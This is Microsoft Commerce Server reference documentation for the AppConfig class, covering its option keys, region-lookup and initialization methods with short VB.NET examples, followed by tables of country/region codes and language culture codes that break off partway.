Some options dictionary keys, such as i_AuctionOptions, are reserved for future use. The following table lists the names of the keys in the Dictionary object returned by this method that are mapped in the Microsoft Management Console (MMC).

Programmatic Name | MMC Default Config Mapping
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
f_AltCurrencyConversionRate | Currency: Alternate currency conversion Rate
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
s_BizTalkCatalogDocType | BizTalk Catalog Doc Type
s_BizTalkConnString | BizTalk connection String
s_BizTalkOrderDocType | BizTalk PO Doc Type
s_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight

The following table lists keys in the Dictionary object returned by this method that are not mapped in the MMC.

Programmatic Name | Value or Description
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_BizDataStoreConnectionString | Profiles Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_CommerceProviderConnectionString | Profiles Service: s_CommerceProviderConnectionString
s_NonSecureHostname | This value is set in the Global.asa file to the non-secure host name of the application.
s_ProfileServiceConnectionString | Profiles Service: s_ProfileServiceConnectionString
s_SecureHostname | This value is set in the Global.asa file to the secure host name of the application.
s_SiteName | Name of the site
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions
[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' dDictConfig is a Dictionary object
dictConfig = oAppConfig.GetOptionsDictionary("")
For Each sKey In dictConfig
  Response.Write sKey & "=" & dictConfig.Value(sKey)
Next

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class


AppConfig.GetRegionCodeFromCountryCodeAndRegionName Method (PIA)

Use this method to get a String that contains the state/province code for the specified country/region code and state/province name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetRegionCodeFromCountryCodeAndRegionName(
  bstrCountryCode As String,
  bstrStateName As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetRegionCodeFromCountryCodeAndRegionName(
  string bstrCountryCode,
  string bstrStateName
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which the state/province code is being requested.
bstrStateName
A String that contains the name of the state/province within the specified country/region for which the state/province code is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which the state/province code is being requested.
bstrStateName
A string that contains the name of the state within the specified country/region for which the state/province code is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the requested state/province code. An empty String indicates that the code was not found.

[C#] This method returns a string containing the requested state/province code.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns an empty string if the state/province code was not found.

Country/region codes, country/region names, state/province codes, and state/province names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object, sResult is a string
sResult = oAppCfg.GetRegionCodeFromCountryCodeAndRegionName("us", "Utah")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

AppConfig.GetRegionNameFromCountryCodeAndRegionCode Method

AppConfig.GetRegionNamesListFromCountryCode

Table of Country/region Names and Codes


AppConfig.GetRegionNameFromCountryCodeAndRegionCode Method (PIA)

Use this method to get the name of the state/province associated with the specified country/region code and state/province code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetRegionNameFromCountryCodeAndRegionCode(
  bstrCountryCode As String,
  bstrStateCode As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetRegionNameFromCountryCodeAndRegionCode(
  string bstrCountryCode,
  string bstrStateCode
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which the state/province name is being requested.
bstrStateCode
A String that contains the code of the state/province within the specified country/region for which the state/province name is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which the state/province name is being requested.
bstrStateCode
A string that contains the code of the state/province within the specified country/region for which the state/province name is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the state/province name. If the state/province name is not found, the String will contain the state/province code specified in the bstrStateCode parameter.

[C#] This method returns the state/province name. If the state/province name is not found, the returned string will contain the state/province code specified in the bstrStateCode parameter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the state/province name is not found, this method returns the state/province code specified in the bstrStateCode parameter.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object, sResult is a String
sResult = oAppCfg.GetRegionNameFromCountryCodeAndRegionCode("us",  "UT")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

AppConfig.GetRegionCodeFromCountryCodeAndRegionName

AppConfig.GetRegionNamesListFromCountryCode

Table of Country/Region Names and Codes


AppConfig.GetRegionNamesListFromCountryCode Method (PIA)

Use this method to retrieve an alphabetical list of state/province names associated with a specified country/region code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop     ‘ for ISimpleList
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetRegionNamesListFromCountryCode(
  bstrCountryCode As String
) As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;              //For ISimpleList
…
public ISimpleList GetRegionNamesListFromCountryCode(
  string bstrCountryCode
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which a list of region names is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which a list of state/province names is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the ISimpleList interface that contains an alphabetical list of state/province names associated with the specified country/region code.

[C#] This method returns an ISimpleList interface to a SimpleList object that contains an alphabetical list of state/province names associated with the specified country/region code.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Country/region codes, country/region names, state/province codes, and state/province names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object
' listRegions is a SimpleList object
listRegions = oAppConfig.GetRegionNamesListFromCountryCode("us")
For Each sRegion In listRegions
  Response.Write sRegion
Next
' The above example will provide a list of USA state names

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

AppConfig.GetRegionCodeFromCountryCodeAndRegionName

Table of Country/Region Names and Codes


AppConfig.Initialize Method (PIA)

Use this method to initialize an AppConfig object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
void Initialize (
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the name of the site with which this AppConfig object should be associated. This name is not case sensitive.
[C#]
bstrSiteName
A string that contains the name of the site with which this AppConfig object should be associated. This name is not case sensitive.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The AppConfig object must be initialized before any other method on this object can be used. The initialization usually happens only once in the Global.asax file immediately after the object is created.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object
oAppCfg.Initialize("Retail")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.RefreshCache


AppConfig.RefreshCache Method (PIA)

Use this method to refresh the cache associated with the AppConfig object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub RefreshCache()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void RefreshCache();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Users can add and change country/region and state/province codes and other values from within Commerce Server Business Desk; the RefreshCache method allows you to programmatically incorporate those changes at any time.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.Initialize


Table of Country/Region Names and Codes (PIA)

Country/region codes may or may not be the same as ISO country/region codes, depending on what values have been added in Business Desk. The following table contains country/region names with their corresponding codes.

Official Short Form | Official Long Form | ISO Code | ISO Short | ISO Long | UN Code | Capital/Major City
Afghanistan | Islamic State of Afghanistan | 4 | AF | AFG | 4 | Kâbul
Albania | Republic of Albania | 8 | AL | ALB | 8 | Tirana
Algeria | Democratic and Popular Republic of Algeria | 12 | DZ | DZA | 12 | Algiers
American Samoa | Territory of American Samoa | 16 | AS | ASM | 16 |
Andorra | Principality of Andorra | 20 | AD | AND | 20 | Andorra la Vella
Angola | Republic of Angola | 24 | AO | AGO | 24 | Luanda
Anguilla |  | 660 | AI | AIA | 660 |
Antarctica |  | 10 | AQ | ATA | 10 |
Antigua and Barbuda | Antigua and Barbuda | 28 | AG | ATG | 28 | St. John's
Argentina | Argentine Republic | 32 | AR | ARG | 32 | Buenos Aires
Armenia | Republic of Armenia | 51 | AM | ARM | 51 | Yerevan
Aruba |  | 533 | AW | ABW | 533 |
Australia | Commonwealth of Australia | 36 | AU | AUS | 36 | Canberra
Austria | Republic of Austria | 40 | AT | AUT | 40 | Vienna
Azerbaijan | Azerbaijani Republic | 31 | AZ | AZE | 31 | Baku
Bahamas, The | The Commonwealth of The Bahamas | 44 | BS | BHS | 44 | Nassau
Bahrain | State of Bahrain | 48 | BH | BHR | 48 | Manama
Bangladesh | People's Republic of Bangladesh | 50 | BD | BGD | 50 | Dhaka
Barbados |  | 52 | BB | BRB | 52 | Bridgetown
Belarus | Republic of Belarus | 112 | BY | BLR | 112 | Minsk
Belgium | Kingdom of Belgium | 56 | BE | BEL | 56 | Brussels
Belize |  | 84 | BZ | BLZ | 84 | Belmopan
Benin | Republic of Benin | 204 | BJ | BEN | 204 | Porto-Novo
Bermuda |  | 60 | BM | BMU | 60 |
Bhutan | Kingdom of Bhutan | 64 | BT | BTN | 64 | Thimphu
Bolivia | Republic of Bolivia | 68 | BO | BOL | 68 | Sucre
Bosnia and Herzegovina | Republic of Bosnia and Herzegovina | 70 | BA | BIH | 70 | Sarajevo
Botswana | Republic of Botswana | 72 | BW | BWA | 72 | Gaborone
Bouvet Island |  | 74 | BV | BVT | - |
Brazil | Federative Republic of Brazil | 76 | BR | BRA | 76 | Brasília
British Indian Ocean Territory | British Indian Ocean Territory | 86 | IO | IOT | - |
Brunei | Negara Brunei Darussalam | 96 | BN | BRN | 96 | Bandar Seri Begawan
Bulgaria | Republic of Bulgaria | 100 | BG | BGR | 100 | Sofia
Burkina Faso |  | 854 | BF | BFA | 854 | Ouagadougou
Burundi | Republic of Burundi | 108 | BI | BDI | 108 | Bujumbura
Côte d'Ivoire | Republic of Côte d'Ivoire | 384 | CI | CIV | 384 | Yamoussoukro
Cambodia | Kingdom of Cambodia | 116 | KH | KHM | 116 | Phnom Penh
Cameroon | Republic of Cameroon | 120 | CM | CMR | 120 | Yaoundé
Canada |  | 124 | CA | CAN | 124 | Ottawa
Cape Verde | Republic of Cape Verde | 132 | CV | CPV | 132 | Praia
Cayman Islands |  | 136 | KY | CYM | 136 |
Central African Republic | Central African Republic | 140 | CF | CAF | 140 | Bangui
Chad | Republic of Chad | 148 | TD | TCD | 148 | N'Djamena
Channel Islands |  | - | GB-CHA | - | 830 |
Chile | Republic of Chile | 152 | CL | CHL | 152 | Santiago
China | People's Republic of China | 156 | CN | CHN | 156 | Beijing
Christmas Island | Territory of Christmas Island | 162 | CX | CXR | - |
Cocos (Keeling) Islands | Territory of Cocos (Keeling) Islands | 166 | CC | CCK | - |
Colombia | Republic of Colombia | 170 | CO | COL | 170 | Santa Fe de Bogotá
Comoros | Federal Islamic Republic of the Comoros | 174 | KM | COM | 174 | Moroni
Congo | Republic of the Congo | 178 | CG | COG | 178 | Brazzaville
Congo (DRC) | Democratic Republic of the Congo | 180 | CD | COD | 180 | Kinshasa
Cook Islands |  | 184 | CK | COK | 184 |
Coral Sea Islands | Coral Sea Islands Territory | - | AU | - | - |
Costa Rica | Republic of Costa Rica | 188 | CR | CRI | 188 | San José
Croatia | Republic of Croatia | 191 | HR | HRV | 191 | Zagreb
Cuba | Republic of Cuba | 192 | CU | CUB | 192 | Havana
Cyprus | Republic of Cyprus | 196 | CY | CYP | 196 | Nicosia
Czech Republic | Czech Republic | 203 | CZ | CZE | 203 | Prague
Denmark | Kingdom of Denmark | 208 | DK | DNK | 208 | Copenhagen
Djibouti | Republic of Djibouti | 262 | DJ | DJI | 262 | Djibouti
Dominica | Commonwealth of Dominica | 212 | DM | DMA | 212 | Roseau
Dominican Republic | Dominican Republic | 214 | DO | DOM | 214 | Santo Domingo
East Timor |  | 626 | TP | TMP | 626 | Dili
Ecuador | Republic of Ecuador | 218 | EC | ECU | 218 | Quito
Egypt | Arab Republic of Egypt | 818 | EG | EGY | 818 | Cairo
El Salvador | Republic of El Salvador | 222 | SV | SLV | 222 | San Salvador
Equatorial Guinea | Republic of Equatorial Guinea | 226 | GQ | GNQ | 226 | Malabo
Eritrea | State of Eritrea | 232 | ER | ERI | 232 | Asmara
Estonia | Republic of Estonia | 233 | EE | EST | 233 | Tallinn
Ethiopia | Federal Democratic Republic of Ethiopia | 231 | ET | ETH | 231 | Addis Ababa
Falkland Islands (Islas Malvinas) | Colony of the Falkland Islands (Islas Malvinas) | 238 | FK | FLK | 238 |
Faroe Islands |  | 234 | FO | FRO | 234 |
Fiji Islands | Republic of the Fiji Islands | 242 | FJ | FJI | 242 | Suva
Finland | Republic of Finland | 246 | FI | FIN | 246 | Helsinki
France | French Republic | 250 | FR | FRA | 250 | Paris
France, Metropolitan |  | 249 | FX | FXX | - |
French Guiana | Department of Guiana | 254 | GF | GUF | 254 |
French Polynesia | Territory of French Polynesia | 258 | PF | PYF | 258 |
French Southern and Antarctic Lands | Territory of the French Southern and Antarctic Lands | 260 | TF | ATF | - |
Gabon | Gabonese Republic | 266 | GA | GAB | 266 | Libreville
Gambia, The | Republic of The Gambia | 270 | GM | GMB | 270 | Banjul
Georgia | Republic of Georgia | 268 | GE | GEO | 268 | T'bilisi
Germany | Federal Republic of Germany | 276 | DE | DEU | 276 | Berlin
Ghana | Republic of Ghana | 288 | GH | GHA | 288 | Accra
Gibraltar |  | 292 | GI | GIB | 292 |
Greece | Hellenic Republic | 300 | GR | GRC | 300 | Athens
Greenland |  | 304 | GL | GRL | 304 |
Grenada |  | 308 | GD | GRD | 308 | St. George's
Guadeloupe | Department of Guadeloupe | 312 | GP | GLP | 312 |
Guam | Territory of Guam | 316 | GU | GUM | 316 |
Guatemala | Republic of Guatemala | 320 | GT | GTM | 320 | Guatemala
Guernsey | Bailiwick of Guernsey | - | GB-GSY | - | - |
Guinea | Republic of Guinea | 324 | GN | GIN | 324 | Conakry
Guinea-Bissau | Republic of Guinea-Bissau | 624 | GW | GNB | 624 | Bissau
Guyana | Cooperative Republic of Guyana | 328 | GY | GUY | 328 | Georgetown
Haiti | Republic of Haiti | 332 | HT | HTI | 332 | Port-au-Prince
Heard Island and McDonald Islands | Territory of Heard Island and McDonald Islands | 334 | HM | HMD | - |
Honduras | Republic of Honduras | 340 | HN | HND | 340 | Tegucigalpa
Hong Kong SAR | Hong Kong Special Administrative Region | 344 | HK | HKG | 344 |
Hungary | Republic of Hungary | 348 | HU | HUN | 348 | Budapest
Iceland | Republic of Iceland | 352 | IS | ISL | 352 | Reykjavík
India | Republic of India | 356 | IN | IND | 356 | New Delhi
Indonesia | Republic of Indonesia | 360 | ID | IDN | 360 | Jakarta
Iran | Islamic Republic of Iran | 364 | IR | IRN | 364 | Tehran
Iraq | Republic of Iraq | 368 | IQ | IRQ | 368 | Baghdad
Ireland | Republic of Ireland | 372 | IE | IRL | 372 | Dublin
Israel | State of Israel | 376 | IL | ISR | 376 | Jerusalem
Italy | Italian Republic | 380 | IT | ITA | 380 | Rome
Jamaica |  | 388 | JM | JAM | 388 | Kingston
Japan |  | 392 | JP | JPN | 392 | Tokyo
Jersey | Bailiwick of Jersey | - | GB-JSY | - | - |
Jordan | Hashemite Kingdom of Jordan | 400 | JO | JOR | 400 | Amman
Kazakhstan | Republic of Kazakhstan | 398 | KZ | KAZ | 398 | Astana
Kenya | Republic of Kenya | 404 | KE | KEN | 404 | Nairobi
Kiribati | Republic of Kiribati | 296 | KI | KIR | 296 | Bairiki
Korea | Republic of Korea | 410 | KR | KOR | 410 | Seoul
Kuwait | State of Kuwait | 414 | KW | KWT | 414 | Kuwait
Kyrgyzstan | Kyrgyz Republic | 417 | KG | KGZ | 417 | Bishkek
Laos | Lao People's Democratic Republic | 418 | LA | LAO | 418 | Vientiane
Latvia | Republic of Latvia | 428 | LV | LVA | 428 | Riga
Lebanon | Republic of Lebanon | 422 | LB | LBN | 422 | Beirut
Lesotho | Kingdom of Lesotho | 426 | LS | LSO | 426 | Maseru
Liberia | Republic of Liberia | 430 | LR | LBR | 430 | Monrovia
Libya | Socialist People's Libyan Arab Jamahiriya | 434 | LY | LBY | 434 | Tripoli
Liechtenstein | Principality of Liechtenstein | 438 | LI | LIE | 438 | Vaduz
Lithuania | Republic of Lithuania | 440 | LT | LTU | 440 | Vilnius
Luxembourg | Grand Duchy of Luxembourg | 442 | LU | LUX | 442 | Luxembourg
Macau SAR | Macau Special Administrative Region | 446 | MO | MAC | 446 |
Macedonia, Former Yugoslav Republic of | The Former Yugoslav Republic of Macedonia | 807 | MK | MKD | 807 | Skopje
Madagascar | Republic of Madagascar | 450 | MG | MDG | 450 | Antananarivo
Malawi | Republic of Malawi | 454 | MW | MWI | 454 | Lilongwe
Malaysia | Federation of Malaysia | 458 | MY | MYS | 458 | Kuala Lumpur
Maldives | Republic of Maldives | 462 | MV | MDV | 462 | Malé
Mali | Republic of Mali | 466 | ML | MLI | 466 | Bamako
Malta | Republic of Malta | 470 | MT | MLT | 470 | Valletta
Man, Isle of |  | - | GB-IOM | - | 833 |
Marshall Islands | Republic of the Marshall Islands | 584 | MH | MHL | 584 | Majuro
Martinique | Department of Martinique | 474 | MQ | MTQ | 474 |
Mauritania | Islamic Republic of Mauritania | 478 | MR | MRT | 478 | Nouakchott
Mauritius | Republic of Mauritius | 480 | MU | MUS | 480 | Port Louis
Mayotte | Territorial Collectivity of Mayotte | 175 | YT | MYT | - |
Mexico | United Mexican States | 484 | MX | MEX | 484 | Mexico City
Micronesia | Federated States of Micronesia | 583 | FM | FSM | 583 | Palikir
Moldova | Republic of Moldova | 498 | MD | MDA | 498 | Chiºinãu
Monaco | Principality of Monaco | 492 | MC | MCO | 492 | Monaco
Mongolia |  | 496 | MN | MNG | 496 | Ulaanbaatar
Montserrat |  | 500 | MS | MSR | 500 |
Morocco | Kingdom of Morocco | 504 | MA | MAR | 504 | Rabat
Mozambique | Republic of Mozambique | 508 | MZ | MOZ | 508 | Maputo
Myanmar | Union of Myanmar | 104 | MM | MMR | 104 | Yangon (Rangoon)
Namibia | Republic of Namibia | 516 | NA | NAM | 516 | Windhoek
Nauru | Republic of Nauru | 520 | NR | NRU | 520 | Yaren
Nepal | Kingdom of Nepal | 524 | NP | NPL | 524 | Kathmandu
Netherlands Antilles |  | 530 | AN | ANT | 530 |
Netherlands, The | Kingdom of the Netherlands | 528 | NL | NLD | 528 | Amsterdam
New Caledonia | Territory of New Caledonia and Dependencies | 540 | NC | NCL | 540 |
New Zealand |  | 554 | NZ | NZL | 554 | Wellington
Nicaragua | Republic of Nicaragua | 558 | NI | NIC | 558 | Managua
Niger | Republic of Niger | 562 | NE | NER | 562 | Niamey
Nigeria | Federal Republic of Nigeria | 566 | NG | NGA | 566 | Abuja
Niue |  | 570 | NU | NIU | 570 |
Norfolk Island | Territory of Norfolk Island | 574 | NF | NFK | 574 |
North Korea | Democratic People's Republic of Korea | 408 | KP | PRK | 408 | Pyongyang
Northern Mariana Islands | Commonwealth of the Northern Mariana Islands | 580 | MP | MNP | 580 |
Norway | Kingdom of Norway | 578 | NO | NOR | 578 | Oslo
Oman | Sultanate of Oman | 512 | OM | OMN | 512 | Masqaþ
Pakistan | Islamic Republic of Pakistan | 586 | PK | PAK | 586 | Islâmâbâd
Palau | Republic of Palau | 585 | PW | PLW | 585 | Koror
Panama | Republic of Panama | 591 | PA | PAN | 591 | Panama City
Papua New Guinea | Independent State of Papua New Guinea | 598 | PG | PNG | 598 | Port Moresby
Paraguay | Republic of Paraguay | 600 | PY | PRY | 600 | Asunción
Peru | Republic of Peru | 604 | PE | PER | 604 | Lima
Philippines | Republic of the Philippines | 608 | PH | PHL | 608 | Manila
Pitcairn Islands | Pitcairn, Henderson, Ducie, and Oeno Islands | 612 | PN | PCN | 612 |
Poland | Republic of Poland | 616 | PL | POL | 616 | Warsaw
Portugal | Portuguese Republic | 620 | PT | PRT | 620 | Lisbon
Puerto Rico | Commonwealth of Puerto Rico | 630 | PR | PRI | 630 |
Qatar | State of Qatar | 634 | QA | QAT | 634 | Doha
Reunion | Department of Reunion | 638 | RE | REU | 638 |
Romania |  | 642 | RO | ROM | 642 | Bucharest
Russia | Russian Federation | 643 | RU | RUS | 643 | Moscow
Rwanda | Rwandese Republic | 646 | RW | RWA | 646 | Kigali
São Tomé and Príncipe | Democratic Republic of São Tomé and Príncipe | 678 | ST | STP | 678 | São Tomé
Samoa | Independent State of Samoa | 882 | WS | WSM | 882 | Apia
San Marino | Republic of San Marino | 674 | SM | SMR | 674 | San Marino
Saudi Arabia | Kingdom of Saudi Arabia | 682 | SA | SAU | 682 | Riyadh
Senegal | Republic of Senegal | 686 | SN | SEN | 686 | Dakar
Seychelles | Republic of Seychelles | 690 | SC | SYC | 690 | Victoria
Sierra Leone | Republic of Sierra Leone | 694 | SL | SLE | 694 | Freetown
Singapore | Republic of Singapore | 702 | SG | SGP | 702 | Singapore
Slovakia | Slovak Republic | 703 | SK | SVK | 703 | Bratislava
Slovenia | Republic of Slovenia | 705 | SI | SVN | 705 | Ljubljana
Solomon Islands |  | 90 | SB | SLB | 90 | Honiara
Somalia | Somali Democratic Republic | 706 | SO | SOM | 706 | Mogadishu
South Africa | Republic of South Africa | 710 | ZA | ZAF | 710 | Pretoria
South Georgia and the South Sandwich Islands | South Georgia and the South Sandwich Islands | 239 | GS | SGS | - |
Spain | Kingdom of Spain | 724 | ES | ESP | 724 | Madrid
Sri Lanka | Democratic Socialist Republic of Sri Lanka | 144 | LK | LKA | 144 | Sri Jayawardenepura
St. Helena | Saint Helena | 654 | SH | SHN | 654 |
St. Kitts and Nevis | Federation of Saint Kitts and Nevis | 659 | KN | KNA | 659 | Basseterre
St. Lucia | Saint Lucia | 662 | LC | LCA | 662 | Castries
St. Pierre and Miquelon | Territorial Collectivity of Saint Pierre and Miquelon | 666 | PM | SPM | 666 |
St. Vincent and the Grenadines | Saint Vincent and the Grenadines | 670 | VC | VCT | 670 | Kingstown
Sudan | Republic of the Sudan | 736 | SD | SDN | 736 | Khartoum
Suriname | Republic of Suriname | 740 | SR | SUR | 740 | Paramaribo
Svalbard and Jan Mayen |  | 744 | SJ | SJM | 744 |
Swaziland | Kingdom of Swaziland | 748 | SZ | SWZ | 748 | Mbabane
Sweden | Kingdom of Sweden | 752 | SE | SWE | 752 | Stockholm
Switzerland | Swiss Confederation | 756 | CH | CHE | 756 | Bern
Syria | Syrian Arab Republic | 760 | SY | SYR | 760 | Damascus
Taiwan | Taiwan | 158 | TW | TWN | 158 | Taipei
Tajikistan | Republic of Tajikistan | 762 | TJ | TJK | 762 | Dushanbe
Tanzania | United Republic of Tanzania | 834 | TZ | TZA | 834 | Dar es Salaam
Thailand | Kingdom of Thailand | 764 | TH | THA | 764 | Bangkok
Togo | Togolese Republic | 768 | TG | TGO | 768 | Lomé
Tokelau |  | 772 | TK | TKL | 772 |
Tonga | Kingdom of Tonga | 776 | TO | TON | 776 | Nuku'alofa
Trinidad and Tobago | Republic of Trinidad and Tobago | 780 | TT | TTO | 780 | Port-of-Spain
Tunisia | Republic of Tunisia | 788 | TN | TUN | 788 | Tunis
Turkey | Republic of Turkey | 792 | TR | TUR | 792 | Ankara
Turkmenistan | Republic of Turkmenistan | 795 | TM | TKM | 795 | Ashgabat
Turks and Caicos Islands |  | 796 | TC | TCA | 796 |
Tuvalu |  | 798 | TV | TUV | 798 | Funafuti
U.S. Minor Outlying Islands | United States Minor Outlying Islands | 581 | UM | UMI | 581 |
Uganda | Republic of Uganda | 800 | UG | UGA | 800 | Kampala
Ukraine |  | 804 | UA | UKR | 804 | Kyiv
United Arab Emirates |  | 784 | AE | ARE | 784 | Abu Dhabi
United Kingdom | United Kingdom of Great Britain and Northern Ireland | 826 | GB | GBR | 826 | London
United States | United States of America | 840 | US | USA | 840 | Washington, D.C.
Uruguay | Oriental Republic of Uruguay | 858 | UY | URY | 858 | Montevideo
Uzbekistan | Republic of Uzbekistan | 860 | UZ | UZB | 860 | Toshkent
Vanuatu | Republic of Vanuatu | 548 | VU | VUT | 548 | Port-Vila
Vatican City | State of Vatican City | 336 | VA | VAT | 336 | Vatican City
Venezuela | Bolivarian Republic of Venezuela | 862 | VE | VEN | 862 | Caracas
Viet Nam | Socialist Republic of Vietnam | 704 | VN | VNM | 704 | Hanoi
Virgin Islands | Virgin Islands of the United States | 850 | VI | VIR | 850 |
Virgin Islands, British |  | 92 | VG | VGB | 92 |
Wallis and Futuna | Territory of the Wallis and Futuna Islands | 876 | WF | WLF | 876 |
Yemen | Republic of Yemen | 887 | YE | YEM | 887 | Sana'a
Yugoslavia | Federal Republic of Yugoslavia | 891 | YU | YUG | 891 | Belgrade
Zambia | Republic of Zambia | 894 | ZM | ZMB | 894 | Lusaka
Zimbabwe | Republic of Zimbabwe | 716 | ZW | ZWE | 716 | Harare


Table of Language Culture Names, Codes, and ISO Values (PIA)

The following table contains values for language culture names, display names, culture codes, and ISO 639x values that are used by Commerce Server.

Language Culture Name | Display Name | Culture Code | ISO 639x Value
af-ZA | Afrikaans - South Africa | 0x0436 | AFK
sq-AL | Albanian - Albania | 0x041C | SQI
ar-DZ | Arabic - Algeria | 0x1401 | ARG
ar-BH | Arabic - Bahrain | 0x3C01 | ARH
ar-EG | Arabic - Egypt | 0x0C01 | ARE
ar-IQ | Arabic - Iraq | 0x0801 | ARI
ar-JO | Arabic - Jordan | 0x2C01 | ARJ
ar-KW | Arabic - Kuwait | 0x3401 | ARK
ar-LB | Arabic - Lebanon | 0x3001 | ARB
ar-LY | Arabic - Libya | 0x1001 | ARL
ar-MA | Arabic - Morocco | 0x1801 | ARM
ar-OM | Arabic - Oman | 0x2001 | ARO
ar-QA | Arabic - Qatar | 0x4001 | ARQ
ar-SA | Arabic - Saudi Arabia | 0x0401 | ARA
ar-SY | Arabic - Syria | 0x2801 | ARS
ar-TN | Arabic - Tunisia | 0x1C01 | ART
ar-AE | Arabic - United Arab Emirates | 0x3801 | ARU
ar-YE | Arabic - Yemen | 0x2401 | ARY
hy-AM | Armenian - Armenia | 0x042B |
Cy-az-AZ | Azeri (Cyrillic) - Azerbaijan | 0x082C |
Lt-az-AZ | Azeri (Latin) - Azerbaijan | 0x042C |
eu-ES | Basque - Basque | 0x042D | EUQ
be-BY | Belarusian - Belarus | 0x0423 | BEL
bg-BG | Bulgarian - Bulgaria | 0x0402 | BGR
ca-ES | Catalan - Catalan | 0x0403 | CAT
zh-CN | Chinese - China | 0x0804 | CHS
zh-HK | Chinese - Hong Kong SAR | 0x0C04 | ZHH
zh-MO | Chinese - Macau SAR | 0x1404 |
zh-SG | Chinese - Singapore | 0x1004 | ZHI
zh-TW | Chinese - Taiwan | 0x0404 | CHT
zh-CHS | Chinese (Simplified) | 0x0004 |
zh-CHT | Chinese (Traditional) | 0x7C04 |
hr-HR | Croatian - Croatia | 0x041A | HRV
cs-CZ | Czech - Czech Republic | 0x0405 | CSY
da-DK | Danish - Denmark | 0x0406 | DAN
div-MV | Dhivehi - Maldives | 0x0465 |
nl-BE | Dutch - Belgium | 0x0813 | NLB
